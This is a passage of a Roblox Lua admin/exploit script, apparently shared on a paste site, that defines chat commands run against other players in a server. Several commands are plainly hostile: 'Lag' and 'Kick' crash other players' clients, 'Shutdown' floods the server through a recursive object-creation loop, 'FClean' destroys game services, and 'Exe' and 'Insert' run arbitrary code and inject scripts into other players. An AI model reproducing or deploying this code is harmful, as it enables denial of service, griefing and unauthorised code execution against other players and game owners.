  1571.         for _,v in pairs(PlrTab) do
  1572.             ypcall(function()
  1573.                 if v.Name ~= Owner then
  1574.                     Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1575.                     Ping("Muted "..v.Name, Speaker, 5)
  1576.                 end
  1577.             end)
  1578.         end
  1579.     end
  1580. end)
  1581.  
  1582. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1583.     local PlrTab = getPlayer(Speaker, Msg)
  1584.     if #PlrTab > 0 then
  1585.         for _,v in pairs(PlrTab) do
  1586.             ypcall(function()
  1587.                 Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1588.                 Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1589.             end)
  1590.         end
  1591.     end
  1592. end)
  1593.  
  1594. --[[
  1595.     :TBC()
  1596.  
  1597. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1598.     local PlrTab = getPlayer(Speaker, Msg)
  1599.     if #PlrTab > 0 then
  1600.         for _,v in pairs(PlrTab) do
  1601.             ypcall(function()
  1602.                 Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1603.                 Ping("Mind Jailed "..v.Name, Speaker, 5)
  1604.             end)
  1605.         end
  1606.     end
  1607. end)
  1608. ]]--
  1609.  
  1610. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1611.     local PlrTab = getPlayer(Speaker, Msg)
  1612.     if #PlrTab > 0 then
  1613.         for _,v in pairs(PlrTab) do
  1614.             ypcall(function()
  1615.                 Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1616.                 Ping("Lag Crashing "..v.Name, Speaker, 5)
  1617.             end)
  1618.         end
  1619.     end
  1620. end)
  1621.  
  1622. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1623.     local PlrTab = getPlayer(Speaker, Msg)
  1624.     if #PlrTab > 0 then
  1625.         for _,v in pairs(PlrTab) do
  1626.             ypcall(function()
  1627.                 Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1628.                 Ping("UnMuted "..v.Name, Speaker, 5)
  1629.             end)
  1630.         end
  1631.     end
  1632. end)
  1633.  
  1634. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1635.     local Worked = false
  1636.     for _,v in pairs(Work:GetChildren()) do
  1637.         if string.find(v.Name:lower(), Msg:lower()) then
  1638.             if v:IsA("Script") or v:IsA("LocalScript") then
  1639.                 v.Disabled = true
  1640.                 v:Destroy()
  1641.                 Worked = true
  1642.                 Ping("Disabled Script: "..v.Name, Speaker, 5)
  1643.             end
  1644.         end
  1645.     end
  1646.     if Worked == false then
  1647.         Ping("Script Not Found", Speaker, 5)
  1648.     end
  1649. end)
  1650.  
  1651. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1652.     Dismiss(Speaker)
  1653.     local AllScripts = {}
  1654.     for _,v in pairs(Work:GetChildren()) do
  1655.         if v:IsA("Script") then
  1656.             table.insert(AllScripts, v.Name)
  1657.         end
  1658.     end
  1659.     if #AllScripts > 0 then
  1660.         for _,v in pairs(AllScripts) do
  1661.             Ping(v, Speaker)
  1662.         end
  1663.     else
  1664.         Ping("No Scripts Found", Speaker, 5)
  1665.     end
  1666. end)
  1667.  
  1668. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1669.     Dismiss(Speaker)
  1670.     local LocalScripts = {}
  1671.     for _,v in pairs(All()) do
  1672.         ypcall(function()
  1673.             for _,x in pairs(v.Character:GetChildren()) do
  1674.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1675.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1676.                 end
  1677.             end
  1678.         end)
  1679.         ypcall(function()
  1680.             for _,x in pairs(v.Backpack:GetChildren()) do
  1681.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1682.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1683.                 end
  1684.             end
  1685.         end)
  1686.         ypcall(function()
  1687.             for _,x in pairs(v.PlayerGui:GetChildren()) do
  1688.                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1689.                     table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1690.                 end
  1691.             end
  1692.         end)
  1693.     end
  1694.     if #LocalScripts > 0 then
  1695.         for _,v in pairs(LocalScripts) do
  1696.             Ping(v, Speaker)
  1697.         end
  1698.     else
  1699.         Ping("No Local Scripts Found", Speaker, 5)
  1700.     end
  1701. end)
  1702.  
  1703. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1704.     local Split = GetSplit(Msg)
  1705.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1706.     local ScriptName = Msg:sub(Split + 1)
  1707.     local FoundLocal = false
  1708.     for _,name in pairs(PlrTab) do
  1709.         ypcall(function()
  1710.             for _,v in pairs(name.Character:GetChildren()) do
  1711.                 if string.find(v.Name:lower(), ScriptName) then
  1712.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1713.                         v.Disabled = true
  1714.                         v:Destroy()
  1715.                         FoundLocal = true
  1716.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1717.                     end
  1718.                 end
  1719.             end
  1720.         end)
  1721.         ypcall(function()
  1722.             for _,v in pairs(name.Backpack:GetChildren()) do
  1723.                 if string.find(v.Name:lower(), ScriptName) then
  1724.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1725.                         v.Disabled = true
  1726.                         v:Destroy()
  1727.                         FoundLocal = true
  1728.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1729.                     end
  1730.                 end
  1731.             end
  1732.         end)
  1733.         ypcall(function()
  1734.             for _,v in pairs(name.PlayerGui:GetChildren()) do
  1735.                 if string.find(v.Name:lower(), ScriptName) then
  1736.                     if v:IsA("Script") or v:IsA("LocalScript") then
  1737.                         v.Disabled = true
  1738.                         v:Destroy()
  1739.                         FoundLocal = true
  1740.                         Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1741.                     end
  1742.                 end
  1743.             end
  1744.         end)
  1745.         if FoundLocal == false then
  1746.             Ping("Local Script Not Found", Speaker, 5)
  1747.         end
  1748.     end
  1749. end)
  1750.  
  1751. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1752.     for _,v in pairs(game:GetChildren()) do
  1753.         ypcall(function()
  1754.             if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1755.                 for _,a in pairs(v:GetChildren()) do
  1756.                     ypcall(function()
  1757.                         a:Destroy()
  1758.                     end)
  1759.                 end
  1760.             elseif v.Name == "Players" then
  1761.                 for _,plr in pairs(v:GetPlayers()) do
  1762.                     Clear(plr)
  1763.                 end
  1764.             end
  1765.         end)
  1766.     end
  1767.     Clean()
  1768.     Fixl()
  1769.     Ping("Fully Cleaned", Speaker, 5)
  1770. end)
  1771.  
  1772. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1773.     LClean()
  1774.     Fixl()
  1775.     Ping("Lightly Cleaned", Speaker, 5)
  1776. end)
  1777.  
  1778. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1779.     local PlrTab = getPlayer(Speaker, Msg)
  1780.     if #PlrTab > 0 then
  1781.         for _,v in pairs(PlrTab) do
  1782.             ypcall(function()
  1783.                 v:LoadCharacter()
  1784.                 Ping("Reset "..v.Name, Speaker, 5)
  1785.             end)
  1786.         end
  1787.     end
  1788. end)
  1789.  
  1790. Command("Respawn", 2, "Respawns A Player", function(Msg, Speaker)
  1791.     local PlrTab = getPlayer(Speaker, Msg)
  1792.     if #PlrTab > 0 then
  1793.         for _,v in pairs(PlrTab) do
  1794.             ypcall(function()
  1795.                 v:LoadCharacter()
  1796.                 Ping("Respawned "..v.Name, Speaker, 5)
  1797.             end)
  1798.         end
  1799.     end
  1800. end)
  1801.  
  1802.  
  1803. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1804.     repeat wait() until Speaker.Character:findFirstChild("Torso")
  1805.     if Work:findFirstChild("Base") then
  1806.         Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1807.     else
  1808.         Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1809.     end
  1810.     Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1811. end)
  1812.  
  1813. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1814.     local PlrTab = getPlayer(Speaker, Msg)
  1815.     if #PlrTab > 0 then
  1816.         for _,v in pairs(PlrTab) do
  1817.             ypcall(function()
  1818.                 v.Character.Torso.Anchored = true
  1819.                 Ping("Froze "..v.Name, Speaker, 5)
  1820.             end)
  1821.         end
  1822.     end
  1823. end)
  1824.  
  1825. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1826.     local PlrTab = getPlayer(Speaker, Msg)
  1827.     if #PlrTab > 0 then
  1828.         for _,v in pairs(PlrTab) do
  1829.             ypcall(function()
  1830.                 for _,v2 in pairs(v.Character:GetChildren()) do
  1831.                     ypcall(function()
  1832.                         v.Torso.Anchored = false
  1833.                     end)
  1834.                 end
  1835.                 Ping("Thawed "..v.Name, Speaker, 5)
  1836.             end)
  1837.         end
  1838.     end
  1839. end)
  1840.  
  1841. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1842.     local PlrTab = getPlayer(Speaker, Msg)
  1843.     if #PlrTab > 0 then
  1844.         for _,v in pairs(PlrTab) do
  1845.             ypcall(function()
  1846.                 Instance.new("ForceField", v.Character)
  1847.             end)
  1848.         end
  1849.     end
  1850. end)
  1851.  
  1852.  
  1853. Command("Btools", 3, "Gives A Player BTOOLS", function(Msg, Speaker)
  1854.     local PlrTab = getPlayer(Speaker, Msg)
  1855.     if #PlrTab > 0 then
  1856.         for _,v in pairs(PlrTab) do
  1857.             ypcall(function()
  1858. t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1859. t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1860. t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1861. t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1862.             end)
  1863.         end
  1864.     end
  1865. end)
  1866.  
  1867. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1868.     local PlrTab = getPlayer(Speaker, Msg)
  1869.     if #PlrTab > 0 then
  1870.         for _,v in pairs(PlrTab) do
  1871.             ypcall(function()
  1872.                 RemObj(v.Character, "ForceField")
  1873.             end)
  1874.         end
  1875.     end
  1876. end)
  1877.  
  1878. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1879.     local Split = GetSplit(Msg)
  1880.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1881.     local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1882.     if #PlrTab > 0 and #PlrTab2 > 0 then
  1883.         for i,v in pairs(PlrTab) do
  1884.             ypcall(function()
  1885.                 for _,v2 in pairs(PlrTab2) do
  1886.                     ypcall(function()
  1887.                         v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1888.                         Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1889.                     end)
  1890.                 end
  1891.             end)
  1892.         end
  1893.     end
  1894. end)
  1895.  
  1896. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1897.     MakeExplorer(Speaker)
  1898. end)
  1899.  
  1900. Command("Info", 0, "Shows Information About LORD", function(Msg, Speaker)
  1901.     wait()
  1902.     Dismiss(Speaker)
  1903.     NumBanned = 0
  1904.     NumCmds = 0
  1905.     for i = 1, #Rankings do
  1906.         if Rankings[i].Rank < 0 then
  1907.             NumBanned = NumBanned + 1
  1908.         end
  1909.     end
  1910.     for i,v in pairs(Commands) do
  1911.         NumCmds = NumCmds + 1
  1912.     end
  1913.     Ping("Admin Name: Dea¬th V¬ia HCWARLORD", Speaker)
  1914.     Ping("LORDs Admin Created By: HCWARLORD", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("44esabehtfonam"))
  1915.     Ping("Date Started: 18th May 2013", Speaker)
  1916.     Ping("Your ID: "..Speaker.userId, Speaker)
  1917.     Ping("Total Number Of Players: "..#All2(), Speaker)
  1918.     Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1919.     Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1920.     Ping("ShowGarbage", Speaker)
  1921. end)
  1922.  
  1923. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1924.     Dismiss(Speaker)
  1925.     for i,v in pairs(All()) do
  1926.         Ping(v.Name.."'s Rank: "..FindRank(v))
  1927.     end
  1928. end)
  1929.  
  1930. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1931.     local Split = GetSplit(Msg)
  1932.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1933.     local Speed = tonumber(Msg:sub(Split + 1))
  1934.     for _,v in pairs(PlrTab) do
  1935.         ypcall(function()
  1936.             v.Character.Humanoid.WalkSpeed = Speed
  1937.             Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1938.         end)
  1939.     end
  1940. end)
  1941.  
  1942. Command("UnAb", 2, "Removes LORD Anti-Bans", function(Msg, Speaker)
  1943.     local RemoveAB = Instance.new("StringValue")
  1944.     RemoveAB.Name = "LORD Attachment"
  1945.     RemoveAB.Value = [[LORD.override=true;]]
  1946.     RemoveAB.Parent = Work
  1947.     Ping("Removed All LORD Anti-Bans", Speaker, 5)
  1948. end)
  1949.  
  1950. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1951.     Dismiss(Speaker)
  1952.     for i,v in pairs(Injected) do
  1953.         Ping(i, Speaker)
  1954.     end
  1955. end)
  1956.  
  1957. Command("UnLORD", 3, "Removes LORDs Admin", function(Msg, Speaker)
  1958.     local RemoveCBA = Instance.new("StringValue")
  1959.     RemoveCBA.Name = "LORD Attachment"
  1960.     RemoveCBA.Value = [[LORD.remove = false]]
  1961.     RemoveCBA.Parent = Work
  1962.     Ping("Removed All LORD Admins", Speaker, 5)
  1963. end)
  1964.  
  1965. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1966.     local function BufferOverflow(object)
  1967.         object.DescendantAdded:connect(BufferOverflow)
  1968.         Instance.new("IntValue", object)
  1969.     end
  1970.     BufferOverflow(Game)
  1971. end)
  1972.  
  1973. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1974.     local PlrTab = getPlayer(Speaker, Msg)
  1975.     if #PlrTab > 0 then
  1976.         for _,v in pairs(PlrTab) do
  1977.             ypcall(function()
  1978.                 Crash1(v)
  1979.                 Ping("Crash Kicked "..v.Name, Speaker, 5)
  1980.             end)
  1981.         end
  1982.     end
  1983. end)
  1984.  
  1985. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1986.     local PlrTab = getPlayer(Speaker, Msg)
  1987.     if #PlrTab > 0 then
  1988.         for _,v in pairs(PlrTab) do
  1989.             ypcall(function()
  1990.                 ChangeRank(v, -1)
  1991.             end)
  1992.         end
  1993.     end
  1994. end)
  1995.  
  1996. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1997.     local PlrTab = getPlayer(Speaker, Msg)
  1998.     if #PlrTab > 0 then
  1999.         for _,v in pairs(PlrTab) do
  2000.             ypcall(function()
  2001.                 ChangeRank(v, -2)
  2002.             end)
  2003.         end
  2004.     end
  2005. end)
  2006.  
  2007. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  2008.     local PlrTab = getPlayer(Speaker, Msg)
  2009.     if #PlrTab > 0 then
  2010.         for _,v in pairs(PlrTab) do
  2011.             ypcall(function()
  2012.                 ChangeRank(v, -3)
  2013.             end)
  2014.         end
  2015.     end
  2016. end)
  2017.  
  2018. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2019.     ypcall(function()
  2020.         local PlrTab = getPlayer(Speaker, Msg)
  2021.         if #PlrTab > 0 then
  2022.             for _,v in pairs(PlrTab) do
  2023.                 ypcall(function()
  2024.                     Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2025.                 end)
  2026.             end
  2027.         end
  2028.         local PlrName = ChangeRank(Msg, 0)
  2029.         Ping("Un-Banned "..PlrName, Speaker, 5)
  2030.     end)
  2031. end)
  2032.  
  2033. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2034.     Dismiss(Speaker)
  2035.     Ping("Commands", Speaker, nil, function()
  2036.         Dismiss(Speaker.Name)
  2037.         Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2038.         Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2039.         Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2040.         Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2041.         Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2042.         Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2043.         Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2044.         Ping("Rank HCWARLORD", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2045.     end)
  2046.     Ping("Players", Speaker, nil, function()
  2047.         ListPlayers(Speaker)
  2048.     end)
  2049. end)
  2050.  
  2051. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2052.     ListPlayers(Speaker)
  2053. end)
  2054.  
  2055. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2056.     local Func,Error = loadstring(Msg)
  2057.     getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2058.     getfenv(Func).Speaker = Speaker
  2059.     if Error == nil then
  2060.         coroutine.wrap(function()
  2061.             Func()
  2062.         end)()
  2063.         Ping("Executed Script!", Speaker, 5)
  2064.     else
  2065.         Ping(Error, Speaker, 10)
  2066.     end
  2067. end)
  2068.  
  2069. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2070.     if LS ~= nil then
  2071.         local Split = GetSplit(Msg)
  2072.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2073.         local LocalSource = Msg:sub(Split + 1)
  2074.         if #PlrTab > 0 then
  2075.             for _,v in pairs(PlrTab) do
  2076.                 local Inserted = LS:Clone()
  2077.                 Inserted.Disabled = true
  2078.                 Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2079.                 if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2080.                     Inserted:findFirstChild(OwnSource).Value = v.Name
  2081.                 end
  2082.                 Inserted[LSSource].Value = LocalSource
  2083.                 Inserted.Disabled = false
  2084.             end
  2085.         end
  2086.     else
  2087.         Ping("ERROR: Local Script Not Found", Speaker, 5)
  2088.     end
  2089. end)
  2090.  
  2091. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2092.     Msg = tostring(Msg)
  2093.     Ping(Msg, Speaker)
  2094. end)
  2095.  
  2096. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2097.     Dismiss(Speaker)
  2098.     for i,v in pairs(getfenv(1)) do
  2099.         ypcall(function()
  2100.             Ping(tostring(i)..": "..tostring(v), Speaker)
  2101.         end)
  2102.     end
  2103. end)
  2104.  
  2105. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2106.     Dismiss()
  2107.     Removed = true
  2108.     for i,v in pairs(getfenv(1)) do
  2109.         getfenv(1)[i] = nil
  2110.     end
  2111.     script.Disabled = true
  2112. end)
  2113.  
  2114. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2115.     local Split = GetSplit(Msg)
  2116.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2117.     local Rank = tonumber(Msg:sub(Split + 1))
  2118.     if #PlrTab > 0 then
  2119.         for _,v in pairs(PlrTab) do
  2120.             if v.Name ~= Owner then
  2121.                 ChangeRank(v, Rank)
  2122.                 Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2123.             end
  2124.         end
  2125.     end
  2126. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement